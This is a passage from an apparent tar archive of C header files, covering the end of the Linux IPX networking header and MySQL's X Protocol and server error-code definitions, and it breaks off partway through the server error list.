<bits/sockaddr.h> __BEGIN_DECLS #define SOL_IPX 256 /* sockopt level */ #define IPX_TYPE 1 #define IPX_NODE_LEN 6 #define IPX_MTU 576 struct sockaddr_ipx { sa_family_t sipx_family; uint16_t sipx_port; uint32_t sipx_network; unsigned char sipx_node[IPX_NODE_LEN]; uint8_t sipx_type; unsigned char sipx_zero; /* 16 byte fill */ }; /* * So we can fit the extra info for SIOCSIFADDR into the address nicely */ #define sipx_special sipx_port #define sipx_action sipx_zero #define IPX_DLTITF 0 #define IPX_CRTITF 1 typedef struct ipx_route_definition { unsigned long ipx_network; unsigned long ipx_router_network; unsigned char ipx_router_node[IPX_NODE_LEN]; } ipx_route_definition; typedef struct ipx_interface_definition { unsigned long ipx_network; unsigned char ipx_device[16]; unsigned char ipx_dlink_type; #define IPX_FRAME_NONE 0 #define IPX_FRAME_SNAP 1 #define IPX_FRAME_8022 2 #define IPX_FRAME_ETHERII 3 #define IPX_FRAME_8023 4 #define IPX_FRAME_TR_8022 5 unsigned char ipx_special; #define IPX_SPECIAL_NONE 0 #define IPX_PRIMARY 1 #define IPX_INTERNAL 2 unsigned char ipx_node[IPX_NODE_LEN]; } ipx_interface_definition; typedef struct ipx_config_data { unsigned char ipxcfg_auto_select_primary; unsigned char ipxcfg_auto_create_interfaces; } ipx_config_data; /* * OLD Route Definition for backward compatibility. */ struct ipx_route_def { unsigned long ipx_network; unsigned long ipx_router_network; #define IPX_ROUTE_NO_ROUTER 0 unsigned char ipx_router_node[IPX_NODE_LEN]; unsigned char ipx_device[16]; unsigned short ipx_flags; #define IPX_RT_SNAP 8 #define IPX_RT_8022 4 #define IPX_RT_BLUEBOOK 2 #define IPX_RT_ROUTED 1 }; #define SIOCAIPXITFCRT (SIOCPROTOPRIVATE) #define SIOCAIPXPRISLT (SIOCPROTOPRIVATE + 1) #define SIOCIPXCFGDATA (SIOCPROTOPRIVATE + 2) #define SIOCIPXNCPCONN (SIOCPROTOPRIVATE + 3) __END_DECLS #endif /* netipx/ipx.h */ mysql/mysqlx_error.h 0000644 00000010101 15246445046 0010633 0 ustar 00 /* Copyright (c) 2015, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _MYSQLX_ERROR_H_ #define _MYSQLX_ERROR_H_ #define ER_X_BAD_MESSAGE 5000 #define ER_X_CAPABILITIES_PREPARE_FAILED 5001 #define ER_X_CAPABILITY_NOT_FOUND 5002 #define ER_X_INVALID_PROTOCOL_DATA 5003 #define ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_VALUE_LENGTH 5004 #define ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_KEY_LENGTH 5005 #define ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_EMPTY_KEY 5006 #define ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_LENGTH 5007 #define ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_TYPE 5008 #define ER_X_CAPABILITY_SET_NOT_ALLOWED 5009 #define ER_X_SERVICE_ERROR 5010 #define ER_X_SESSION 5011 #define ER_X_INVALID_ARGUMENT 5012 #define ER_X_MISSING_ARGUMENT 5013 #define ER_X_BAD_INSERT_DATA 5014 #define ER_X_CMD_NUM_ARGUMENTS 5015 #define ER_X_CMD_ARGUMENT_TYPE 5016 #define ER_X_CMD_ARGUMENT_VALUE 5017 #define ER_X_BAD_UPSERT_DATA 5018 #define ER_X_DUPLICATED_CAPABILITIES 5019 #define ER_X_CMD_ARGUMENT_OBJECT_EMPTY 5020 #define ER_X_CMD_INVALID_ARGUMENT 5021 #define ER_X_BAD_UPDATE_DATA 5050 #define ER_X_BAD_TYPE_OF_UPDATE 5051 #define ER_X_BAD_COLUMN_TO_UPDATE 5052 #define ER_X_BAD_MEMBER_TO_UPDATE 5053 #define ER_X_BAD_STATEMENT_ID 5110 #define ER_X_BAD_CURSOR_ID 5111 #define ER_X_BAD_SCHEMA 5112 #define ER_X_BAD_TABLE 5113 #define ER_X_BAD_PROJECTION 5114 #define ER_X_DOC_ID_MISSING 5115 #define ER_X_DUPLICATE_ENTRY 5116 #define ER_X_DOC_REQUIRED_FIELD_MISSING 5117 #define ER_X_PROJ_BAD_KEY_NAME 5120 #define ER_X_BAD_DOC_PATH 5121 #define ER_X_CURSOR_EXISTS 5122 #define ER_X_CURSOR_REACHED_EOF 5123 #define ER_X_PREPARED_STATMENT_CAN_HAVE_ONE_CURSOR 5131 #define ER_X_PREPARED_EXECUTE_ARGUMENT_NOT_SUPPORTED 5133 #define ER_X_PREPARED_EXECUTE_ARGUMENT_CONSISTENCY 5134 #define ER_X_EXPR_BAD_OPERATOR 5150 #define ER_X_EXPR_BAD_NUM_ARGS 5151 #define ER_X_EXPR_MISSING_ARG 5152 #define ER_X_EXPR_BAD_TYPE_VALUE 5153 #define ER_X_EXPR_BAD_VALUE 5154 #define ER_X_INVALID_COLLECTION 5156 #define ER_X_INVALID_ADMIN_COMMAND 5157 #define ER_X_EXPECT_NOT_OPEN 5158 #define ER_X_EXPECT_NO_ERROR_FAILED 5159 #define ER_X_EXPECT_BAD_CONDITION 5160 #define ER_X_EXPECT_BAD_CONDITION_VALUE 5161 #define ER_X_INVALID_NAMESPACE 5162 #define ER_X_BAD_NOTICE 5163 #define ER_X_CANNOT_DISABLE_NOTICE 5164 #define ER_X_BAD_CONFIGURATION 5165 #define ER_X_MYSQLX_ACCOUNT_MISSING_PERMISSIONS 5167 #define ER_X_EXPECT_FIELD_EXISTS_FAILED 5168 #define ER_X_BAD_LOCKING 5169 #define ER_X_FRAME_COMPRESSION_DISABLED 5170 #define ER_X_DECOMPRESSION_FAILED 5171 #define ER_X_BAD_COMPRESSED_FRAME 5174 #define ER_X_CAPABILITY_COMPRESSION_INVALID_ALGORITHM 5175 #define ER_X_CAPABILITY_COMPRESSION_INVALID_SERVER_STYLE 5176 #define ER_X_CAPABILITY_COMPRESSION_INVALID_CLIENT_STYLE 5177 #define ER_X_CAPABILITY_COMPRESSION_INVALID_OPTION 5178 #define ER_X_CAPABILITY_COMPRESSION_MISSING_REQUIRED_FIELDS 5179 #define ER_X_DOCUMENT_DOESNT_MATCH_EXPECTED_SCHEMA 5180 #define ER_X_COLLECTION_OPTION_DOESNT_EXISTS 5181 #define ER_X_INVALID_VALIDATION_SCHEMA 5182 #endif // _MYSQLX_ERROR_H_ mysql/mysqld_error.h 0000644 00001001705 15246445046 0010622 0 ustar 00 /* Copyright (c) 2000, 2026, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* Autogenerated file, please don't edit */ #ifndef MYSQLD_ERROR_INCLUDED #define MYSQLD_ERROR_INCLUDED static const int errmsg_section_start[] = { 1000, 3000, 3500, 10000 }; static const int errmsg_section_size[] = { 888, 239, 668, 4090 }; static const int total_error_count = 5885; //#define OBSOLETE_ER_HASHCHK 1000 //#define OBSOLETE_ER_NISAMCHK 1001 #define ER_NO 1002 #define ER_YES 1003 #define ER_CANT_CREATE_FILE 1004 #define ER_CANT_CREATE_TABLE 1005 #define ER_CANT_CREATE_DB 1006 #define ER_DB_CREATE_EXISTS 1007 #define ER_DB_DROP_EXISTS 1008 //#define OBSOLETE_ER_DB_DROP_DELETE 1009 #define ER_DB_DROP_RMDIR 1010 //#define OBSOLETE_ER_CANT_DELETE_FILE 1011 #define ER_CANT_FIND_SYSTEM_REC 1012 #define ER_CANT_GET_STAT 1013 //#define OBSOLETE_ER_CANT_GET_WD 1014 #define ER_CANT_LOCK 1015 #define ER_CANT_OPEN_FILE 1016 #define ER_FILE_NOT_FOUND 1017 #define ER_CANT_READ_DIR 1018 //#define OBSOLETE_ER_CANT_SET_WD 1019 #define ER_CHECKREAD 1020 //#define OBSOLETE_ER_DISK_FULL 1021 #define ER_DUP_KEY 1022 //#define OBSOLETE_ER_ERROR_ON_CLOSE 1023 #define ER_ERROR_ON_READ 1024 #define ER_ERROR_ON_RENAME 1025 #define ER_ERROR_ON_WRITE 1026 #define ER_FILE_USED 1027 //#define OBSOLETE_ER_FILSORT_ABORT 1028 //#define OBSOLETE_ER_FORM_NOT_FOUND 1029 #define ER_GET_ERRNO 1030 #define ER_ILLEGAL_HA 1031 #define ER_KEY_NOT_FOUND 1032 #define ER_NOT_FORM_FILE 1033 #define ER_NOT_KEYFILE 1034 #define ER_OLD_KEYFILE 1035 #define ER_OPEN_AS_READONLY 1036 #define ER_OUTOFMEMORY 1037 #define ER_OUT_OF_SORTMEMORY 1038 //#define OBSOLETE_ER_UNEXPECTED_EOF 1039 #define ER_CON_COUNT_ERROR 1040 #define ER_OUT_OF_RESOURCES 1041 #define ER_BAD_HOST_ERROR 1042 #define ER_HANDSHAKE_ERROR 1043 #define ER_DBACCESS_DENIED_ERROR 1044 #define ER_ACCESS_DENIED_ERROR 1045 #define ER_NO_DB_ERROR 1046 #define ER_UNKNOWN_COM_ERROR 1047 #define ER_BAD_NULL_ERROR 1048 #define ER_BAD_DB_ERROR 1049 #define ER_TABLE_EXISTS_ERROR 1050 #define ER_BAD_TABLE_ERROR 1051 #define ER_NON_UNIQ_ERROR 1052 #define ER_SERVER_SHUTDOWN 1053 #define ER_BAD_FIELD_ERROR 1054 #define ER_WRONG_FIELD_WITH_GROUP 1055 #define ER_WRONG_GROUP_FIELD 1056 #define ER_WRONG_SUM_SELECT 1057 #define ER_WRONG_VALUE_COUNT 1058 #define ER_TOO_LONG_IDENT 1059 #define ER_DUP_FIELDNAME 1060 #define ER_DUP_KEYNAME 1061 #define ER_DUP_ENTRY 1062 #define ER_WRONG_FIELD_SPEC 1063 #define ER_PARSE_ERROR 1064 #define ER_EMPTY_QUERY 1065 #define ER_NONUNIQ_TABLE 1066 #define ER_INVALID_DEFAULT 1067 #define ER_MULTIPLE_PRI_KEY 1068 #define ER_TOO_MANY_KEYS 1069 #define ER_TOO_MANY_KEY_PARTS 1070 #define ER_TOO_LONG_KEY 1071 #define ER_KEY_COLUMN_DOES_NOT_EXITS 1072 #define ER_BLOB_USED_AS_KEY 1073 #define ER_TOO_BIG_FIELDLENGTH 1074 #define ER_WRONG_AUTO_KEY 1075 #define ER_READY 1076 //#define OBSOLETE_ER_NORMAL_SHUTDOWN 1077 //#define OBSOLETE_ER_GOT_SIGNAL 1078 #define ER_SHUTDOWN_COMPLETE 1079 #define ER_FORCING_CLOSE 1080 #define ER_IPSOCK_ERROR 1081 #define ER_NO_SUCH_INDEX 1082 #define ER_WRONG_FIELD_TERMINATORS 1083 #define ER_BLOBS_AND_NO_TERMINATED 1084 #define ER_TEXTFILE_NOT_READABLE 1085 #define ER_FILE_EXISTS_ERROR 1086 #define ER_LOAD_INFO 1087 #define ER_ALTER_INFO 1088 #define ER_WRONG_SUB_KEY 1089 #define ER_CANT_REMOVE_ALL_FIELDS 1090 #define ER_CANT_DROP_FIELD_OR_KEY 1091 #define ER_INSERT_INFO 1092 #define ER_UPDATE_TABLE_USED 1093 #define ER_NO_SUCH_THREAD 1094 #define ER_KILL_DENIED_ERROR 1095 #define ER_NO_TABLES_USED 1096 #define ER_TOO_BIG_SET 1097 #define ER_NO_UNIQUE_LOGFILE 1098 #define ER_TABLE_NOT_LOCKED_FOR_WRITE 1099 #define ER_TABLE_NOT_LOCKED 1100 #define ER_BLOB_CANT_HAVE_DEFAULT 1101 #define ER_WRONG_DB_NAME 1102 #define ER_WRONG_TABLE_NAME 1103 #define ER_TOO_BIG_SELECT 1104 #define ER_UNKNOWN_ERROR 1105 #define ER_UNKNOWN_PROCEDURE 1106 #define ER_WRONG_PARAMCOUNT_TO_PROCEDURE 1107 #define ER_WRONG_PARAMETERS_TO_PROCEDURE 1108 #define ER_UNKNOWN_TABLE 1109 #define ER_FIELD_SPECIFIED_TWICE 1110 #define ER_INVALID_GROUP_FUNC_USE 1111 #define ER_UNSUPPORTED_EXTENSION 1112 #define ER_TABLE_MUST_HAVE_COLUMNS 1113 #define ER_RECORD_FILE_FULL 1114 #define ER_UNKNOWN_CHARACTER_SET 1115 #define ER_TOO_MANY_TABLES 1116 #define ER_TOO_MANY_FIELDS 1117 #define ER_TOO_BIG_ROWSIZE 1118 #define ER_STACK_OVERRUN 1119 #define ER_WRONG_OUTER_JOIN_UNUSED 1120 #define ER_NULL_COLUMN_IN_INDEX 1121 #define ER_CANT_FIND_UDF 1122 #define ER_CANT_INITIALIZE_UDF 1123 #define ER_UDF_NO_PATHS 1124 #define ER_UDF_EXISTS 1125 #define ER_CANT_OPEN_LIBRARY 1126 #define ER_CANT_FIND_DL_ENTRY 1127 #define ER_FUNCTION_NOT_DEFINED 1128 #define ER_HOST_IS_BLOCKED 1129 #define ER_HOST_NOT_PRIVILEGED 1130 #define ER_PASSWORD_ANONYMOUS_USER 1131 #define ER_PASSWORD_NOT_ALLOWED 1132 #define ER_PASSWORD_NO_MATCH 1133 #define ER_UPDATE_INFO 1134 #define ER_CANT_CREATE_THREAD 1135 #define ER_WRONG_VALUE_COUNT_ON_ROW 1136 #define ER_CANT_REOPEN_TABLE 1137 #define ER_INVALID_USE_OF_NULL 1138 #define ER_REGEXP_ERROR 1139 #define ER_MIX_OF_GROUP_FUNC_AND_FIELDS 1140 #define ER_NONEXISTING_GRANT 1141 #define ER_TABLEACCESS_DENIED_ERROR 1142 #define ER_COLUMNACCESS_DENIED_ERROR 1143 #define ER_ILLEGAL_GRANT_FOR_TABLE 1144 #define ER_GRANT_WRONG_HOST_OR_USER 1145 #define ER_NO_SUCH_TABLE 1146 #define ER_NONEXISTING_TABLE_GRANT 1147 #define ER_NOT_ALLOWED_COMMAND 1148 #define ER_SYNTAX_ERROR 1149 //#define OBSOLETE_ER_UNUSED1 1150 //#define OBSOLETE_ER_UNUSED2 1151 #define ER_ABORTING_CONNECTION 1152 #define ER_NET_PACKET_TOO_LARGE 1153 #define ER_NET_READ_ERROR_FROM_PIPE 1154 #define ER_NET_FCNTL_ERROR 1155 #define ER_NET_PACKETS_OUT_OF_ORDER 1156 #define ER_NET_UNCOMPRESS_ERROR 1157 #define ER_NET_READ_ERROR 1158 #define ER_NET_READ_INTERRUPTED 1159 #define ER_NET_ERROR_ON_WRITE 1160 #define ER_NET_WRITE_INTERRUPTED 1161 #define ER_TOO_LONG_STRING 1162 #define ER_TABLE_CANT_HANDLE_BLOB 1163 #define ER_TABLE_CANT_HANDLE_AUTO_INCREMENT 1164 //#define OBSOLETE_ER_UNUSED3 1165 #define ER_WRONG_COLUMN_NAME 1166 #define ER_WRONG_KEY_COLUMN 1167 #define ER_WRONG_MRG_TABLE 1168 #define ER_DUP_UNIQUE 1169 #define ER_BLOB_KEY_WITHOUT_LENGTH 1170 #define ER_PRIMARY_CANT_HAVE_NULL 1171 #define ER_TOO_MANY_ROWS 1172 #define ER_REQUIRES_PRIMARY_KEY 1173 //#define OBSOLETE_ER_NO_RAID_COMPILED 1174 #define ER_UPDATE_WITHOUT_KEY_IN_SAFE_MODE 1175 #define ER_KEY_DOES_NOT_EXITS 1176 #define ER_CHECK_NO_SUCH_TABLE 1177 #define ER_CHECK_NOT_IMPLEMENTED 1178 #define ER_CANT_DO_THIS_DURING_AN_TRANSACTION 1179 #define ER_ERROR_DURING_COMMIT 1180 #define ER_ERROR_DURING_ROLLBACK 1181 #define ER_ERROR_DURING_FLUSH_LOGS 1182 //#define OBSOLETE_ER_ERROR_DURING_CHECKPOINT 1183 #define ER_NEW_ABORTING_CONNECTION 1184 //#define OBSOLETE_ER_DUMP_NOT_IMPLEMENTED 1185 //#define OBSOLETE_ER_FLUSH_MASTER_BINLOG_CLOSED 1186 //#define OBSOLETE_ER_INDEX_REBUILD 1187 #define ER_SOURCE 1188 #define ER_SOURCE_NET_READ 1189 #define ER_SOURCE_NET_WRITE 1190 #define ER_FT_MATCHING_KEY_NOT_FOUND 1191 #define ER_LOCK_OR_ACTIVE_TRANSACTION 1192 #define ER_UNKNOWN_SYSTEM_VARIABLE 1193 #define ER_CRASHED_ON_USAGE 1194 #define ER_CRASHED_ON_REPAIR 1195 #define ER_WARNING_NOT_COMPLETE_ROLLBACK 1196 #define ER_TRANS_CACHE_FULL 1197 //#define OBSOLETE_ER_SLAVE_MUST_STOP 1198 #define ER_REPLICA_NOT_RUNNING 1199 #define ER_BAD_REPLICA 1200 #define ER_CONNECTION_METADATA 1201 #define ER_REPLICA_THREAD 1202 #define ER_TOO_MANY_USER_CONNECTIONS 1203 #define ER_SET_CONSTANTS_ONLY 1204 #define ER_LOCK_WAIT_TIMEOUT 1205 #define ER_LOCK_TABLE_FULL 1206 #define ER_READ_ONLY_TRANSACTION 1207 //#define OBSOLETE_ER_DROP_DB_WITH_READ_LOCK 1208 //#define OBSOLETE_ER_CREATE_DB_WITH_READ_LOCK 1209 #define ER_WRONG_ARGUMENTS 1210 #define ER_NO_PERMISSION_TO_CREATE_USER 1211 //#define OBSOLETE_ER_UNION_TABLES_IN_DIFFERENT_DIR 1212 #define ER_LOCK_DEADLOCK 1213 #define ER_TABLE_CANT_HANDLE_FT 1214 #define ER_CANNOT_ADD_FOREIGN 1215 #define ER_NO_REFERENCED_ROW 1216 #define ER_ROW_IS_REFERENCED 1217 #define ER_CONNECT_TO_SOURCE 1218 //#define OBSOLETE_ER_QUERY_ON_MASTER 1219 #define ER_ERROR_WHEN_EXECUTING_COMMAND 1220 #define ER_WRONG_USAGE 1221 #define ER_WRONG_NUMBER_OF_COLUMNS_IN_SELECT 1222 #define ER_CANT_UPDATE_WITH_READLOCK 1223 #define ER_MIXING_NOT_ALLOWED 1224 #define ER_DUP_ARGUMENT 1225 #define ER_USER_LIMIT_REACHED 1226 #define ER_SPECIFIC_ACCESS_DENIED_ERROR 1227 #define ER_LOCAL_VARIABLE 1228 #define ER_GLOBAL_VARIABLE 1229 #define ER_NO_DEFAULT 1230 #define ER_WRONG_VALUE_FOR_VAR 1231 #define ER_WRONG_TYPE_FOR_VAR 1232 #define ER_VAR_CANT_BE_READ 1233 #define ER_CANT_USE_OPTION_HERE 1234 #define ER_NOT_SUPPORTED_YET 1235 #define ER_SOURCE_FATAL_ERROR_READING_BINLOG 1236 #define ER_REPLICA_IGNORED_TABLE 1237 #define ER_INCORRECT_GLOBAL_LOCAL_VAR 1238 #define ER_WRONG_FK_DEF 1239 #define ER_KEY_REF_DO_NOT_MATCH_TABLE_REF 1240 #define ER_OPERAND_COLUMNS 1241 #define ER_SUBQUERY_NO_1_ROW 1242 #define ER_UNKNOWN_STMT_HANDLER 1243 #define ER_CORRUPT_HELP_DB 1244 //#define OBSOLETE_ER_CYCLIC_REFERENCE 1245 #define ER_AUTO_CONVERT 1246 #define ER_ILLEGAL_REFERENCE 1247 #define ER_DERIVED_MUST_HAVE_ALIAS 1248 #define ER_SELECT_REDUCED 1249 #define ER_TABLENAME_NOT_ALLOWED_HERE 1250 #define ER_NOT_SUPPORTED_AUTH_MODE 1251 #define ER_SPATIAL_CANT_HAVE_NULL 1252 #define ER_COLLATION_CHARSET_MISMATCH 1253 //#define OBSOLETE_ER_SLAVE_WAS_RUNNING 1254 //#define OBSOLETE_ER_SLAVE_WAS_NOT_RUNNING 1255 #define ER_TOO_BIG_FOR_UNCOMPRESS 1256 #define ER_ZLIB_Z_MEM_ERROR 1257 #define ER_ZLIB_Z_BUF_ERROR 1258 #define ER_ZLIB_Z_DATA_ERROR 1259 #define ER_CUT_VALUE_GROUP_CONCAT 1260 #define ER_WARN_TOO_FEW_RECORDS 1261 #define ER_WARN_TOO_MANY_RECORDS 1262 #define ER_WARN_NULL_TO_NOTNULL 1263 #define ER_WARN_DATA_OUT_OF_RANGE 1264 #define WARN_DATA_TRUNCATED 1265 #define ER_WARN_USING_OTHER_HANDLER 1266 #define ER_CANT_AGGREGATE_2COLLATIONS 1267 //#define OBSOLETE_ER_DROP_USER 1268 #define ER_REVOKE_GRANTS 1269 #define ER_CANT_AGGREGATE_3COLLATIONS 1270 #define ER_CANT_AGGREGATE_NCOLLATIONS 1271 #define ER_VARIABLE_IS_NOT_STRUCT 1272 #define ER_UNKNOWN_COLLATION 1273 #define ER_REPLICA_IGNORED_SSL_PARAMS 1274 //#define OBSOLETE_ER_SERVER_IS_IN_SECURE_AUTH_MODE 1275 #define ER_WARN_FIELD_RESOLVED 1276 #define ER_BAD_REPLICA_UNTIL_COND 1277 #define ER_MISSING_SKIP_REPLICA 1278 #define ER_UNTIL_COND_IGNORED 1279 #define ER_WRONG_NAME_FOR_INDEX 1280 #define ER_WRONG_NAME_FOR_CATALOG 1281 //#define OBSOLETE_ER_WARN_QC_RESIZE 1282 #define ER_BAD_FT_COLUMN 1283 #define ER_UNKNOWN_KEY_CACHE 1284 #define ER_WARN_HOSTNAME_WONT_WORK 1285 #define ER_UNKNOWN_STORAGE_ENGINE 1286 #define ER_WARN_DEPRECATED_SYNTAX 1287 #define ER_NON_UPDATABLE_TABLE 1288 #define ER_FEATURE_DISABLED 1289 #define ER_OPTION_PREVENTS_STATEMENT 1290 #define ER_DUPLICATED_VALUE_IN_TYPE 1291 #define ER_TRUNCATED_WRONG_VALUE 1292 //#define OBSOLETE_ER_TOO_MUCH_AUTO_TIMESTAMP_COLS 1293 #define ER_INVALID_ON_UPDATE 1294 #define ER_UNSUPPORTED_PS 1295 #define ER_GET_ERRMSG 1296 #define ER_GET_TEMPORARY_ERRMSG 1297 #define ER_UNKNOWN_TIME_ZONE 1298 #define ER_WARN_INVALID_TIMESTAMP 1299 #define ER_INVALID_CHARACTER_STRING 1300 #define ER_WARN_ALLOWED_PACKET_OVERFLOWED 1301 #define ER_CONFLICTING_DECLARATIONS 1302 #define ER_SP_NO_RECURSIVE_CREATE 1303 #define ER_SP_ALREADY_EXISTS 1304 #define ER_SP_DOES_NOT_EXIST 1305 #define ER_SP_DROP_FAILED 1306 #define ER_SP_STORE_FAILED 1307 #define ER_SP_LILABEL_MISMATCH 1308 #define ER_SP_LABEL_REDEFINE 1309 #define ER_SP_LABEL_MISMATCH 1310 #define ER_SP_UNINIT_VAR 1311 #define ER_SP_BADSELECT 1312 #define ER_SP_BADRETURN 1313 #define ER_SP_BADSTATEMENT 1314 #define ER_UPDATE_LOG_DEPRECATED_IGNORED 1315 #define ER_UPDATE_LOG_DEPRECATED_TRANSLATED 1316 #define ER_QUERY_INTERRUPTED 1317 #define ER_SP_WRONG_NO_OF_ARGS 1318 #define ER_SP_COND_MISMATCH 1319 #define ER_SP_NORETURN 1320 #define ER_SP_NORETURNEND 1321 #define ER_SP_BAD_CURSOR_QUERY 1322 #define ER_SP_BAD_CURSOR_SELECT 1323 #define ER_SP_CURSOR_MISMATCH 1324 #define ER_SP_CURSOR_ALREADY_OPEN 1325 #define ER_SP_CURSOR_NOT_OPEN 1326 #define ER_SP_UNDECLARED_VAR 1327 #define ER_SP_WRONG_NO_OF_FETCH_ARGS 1328 #define ER_SP_FETCH_NO_DATA 1329 #define ER_SP_DUP_PARAM 1330 #define ER_SP_DUP_VAR 1331 #define ER_SP_DUP_COND 1332 #define ER_SP_DUP_CURS 1333 #define ER_SP_CANT_ALTER 1334 #define ER_SP_SUBSELECT_NYI 1335 #define ER_STMT_NOT_ALLOWED_IN_SF_OR_TRG 1336 #define ER_SP_VARCOND_AFTER_CURSHNDLR 1337 #define ER_SP_CURSOR_AFTER_HANDLER 1338 #define ER_SP_CASE_NOT_FOUND 1339 #define ER_FPARSER_TOO_BIG_FILE 1340 #define ER_FPARSER_BAD_HEADER 1341 #define ER_FPARSER_EOF_IN_COMMENT 1342 #define ER_FPARSER_ERROR_IN_PARAMETER 1343 #define ER_FPARSER_EOF_IN_UNKNOWN_PARAMETER 1344 #define ER_VIEW_NO_EXPLAIN 1345 //#define OBSOLETE_ER_FRM_UNKNOWN_TYPE 1346 #define ER_WRONG_OBJECT 1347 #define ER_NONUPDATEABLE_COLUMN 1348 //#define OBSOLETE_ER_VIEW_SELECT_DERIVED_UNUSED 1349 #define ER_VIEW_SELECT_CLAUSE 1350 #define ER_VIEW_SELECT_VARIABLE 1351 #define ER_VIEW_SELECT_TMPTABLE 1352 #define ER_VIEW_WRONG_LIST 1353 #define ER_WARN_VIEW_MERGE 1354 #define ER_WARN_VIEW_WITHOUT_KEY 1355 #define ER_VIEW_INVALID 1356 #define ER_SP_NO_DROP_SP 1357 //#define OBSOLETE_ER_SP_GOTO_IN_HNDLR 1358 #define ER_TRG_ALREADY_EXISTS 1359 #define ER_TRG_DOES_NOT_EXIST 1360 #define ER_TRG_ON_VIEW_OR_TEMP_TABLE 1361 #define ER_TRG_CANT_CHANGE_ROW 1362 #define ER_TRG_NO_SUCH_ROW_IN_TRG 1363 #define ER_NO_DEFAULT_FOR_FIELD 1364 #define ER_DIVISION_BY_ZERO 1365 #define ER_TRUNCATED_WRONG_VALUE_FOR_FIELD 1366 #define ER_ILLEGAL_VALUE_FOR_TYPE 1367 #define ER_VIEW_NONUPD_CHECK 1368 #define ER_VIEW_CHECK_FAILED 1369 #define ER_PROCACCESS_DENIED_ERROR 1370 #define ER_RELAY_LOG_FAIL 1371 //#define OBSOLETE_ER_PASSWD_LENGTH 1372 #define ER_UNKNOWN_TARGET_BINLOG 1373 #define ER_IO_ERR_LOG_INDEX_READ 1374 #define ER_BINLOG_PURGE_PROHIBITED 1375 #define ER_FSEEK_FAIL 1376 #define ER_BINLOG_PURGE_FATAL_ERR 1377 #define ER_LOG_IN_USE 1378 #define ER_LOG_PURGE_UNKNOWN_ERR 1379 #define ER_RELAY_LOG_INIT 1380 #define ER_NO_BINARY_LOGGING 1381 #define ER_RESERVED_SYNTAX 1382 //#define OBSOLETE_ER_WSAS_FAILED 1383 //#define OBSOLETE_ER_DIFF_GROUPS_PROC 1384 //#define OBSOLETE_ER_NO_GROUP_FOR_PROC 1385 //#define OBSOLETE_ER_ORDER_WITH_PROC 1386 //#define OBSOLETE_ER_LOGGING_PROHIBIT_CHANGING_OF 1387 //#define OBSOLETE_ER_NO_FILE_MAPPING 1388 //#define OBSOLETE_ER_WRONG_MAGIC 1389 #define ER_PS_MANY_PARAM 1390 #define ER_KEY_PART_0 1391 #define ER_VIEW_CHECKSUM 1392 #define ER_VIEW_MULTIUPDATE 1393 #define ER_VIEW_NO_INSERT_FIELD_LIST 1394 #define ER_VIEW_DELETE_MERGE_VIEW 1395 #define ER_CANNOT_USER 1396 #define ER_XAER_NOTA 1397 #define ER_XAER_INVAL 1398 #define ER_XAER_RMFAIL 1399 #define ER_XAER_OUTSIDE 1400 #define ER_XAER_RMERR 1401 #define ER_XA_RBROLLBACK 1402 #define ER_NONEXISTING_PROC_GRANT 1403 #define ER_PROC_AUTO_GRANT_FAIL 1404 #define ER_PROC_AUTO_REVOKE_FAIL 1405 #define ER_DATA_TOO_LONG 1406 #define ER_SP_BAD_SQLSTATE 1407 #define ER_STARTUP 1408 #define ER_LOAD_FROM_FIXED_SIZE_ROWS_TO_VAR 1409 #define ER_CANT_CREATE_USER_WITH_GRANT 1410 #define ER_WRONG_VALUE_FOR_TYPE 1411 #define ER_TABLE_DEF_CHANGED 1412 #define ER_SP_DUP_HANDLER 1413 #define ER_SP_NOT_VAR_ARG 1414 #define ER_SP_NO_RETSET 1415 #define ER_CANT_CREATE_GEOMETRY_OBJECT 1416 //#define OBSOLETE_ER_FAILED_ROUTINE_BREAK_BINLOG 1417 #define ER_BINLOG_UNSAFE_ROUTINE 1418 #define ER_BINLOG_CREATE_ROUTINE_NEED_SUPER 1419 //#define OBSOLETE_ER_EXEC_STMT_WITH_OPEN_CURSOR 1420 #define ER_STMT_HAS_NO_OPEN_CURSOR 1421 #define ER_COMMIT_NOT_ALLOWED_IN_SF_OR_TRG 1422 #define ER_NO_DEFAULT_FOR_VIEW_FIELD 1423 #define ER_SP_NO_RECURSION 1424 #define ER_TOO_BIG_SCALE 1425 #define ER_TOO_BIG_PRECISION 1426 #define ER_M_BIGGER_THAN_D 1427 #define ER_WRONG_LOCK_OF_SYSTEM_TABLE 1428 #define ER_CONNECT_TO_FOREIGN_DATA_SOURCE 1429 #define ER_QUERY_ON_FOREIGN_DATA_SOURCE 1430 #define ER_FOREIGN_DATA_SOURCE_DOESNT_EXIST 1431 #define ER_FOREIGN_DATA_STRING_INVALID_CANT_CREATE 1432 #define ER_FOREIGN_DATA_STRING_INVALID 1433 //#define OBSOLETE_ER_CANT_CREATE_FEDERATED_TABLE 1434 #define ER_TRG_IN_WRONG_SCHEMA 1435 #define ER_STACK_OVERRUN_NEED_MORE 1436 #define ER_TOO_LONG_BODY 1437 #define ER_WARN_CANT_DROP_DEFAULT_KEYCACHE 1438 #define 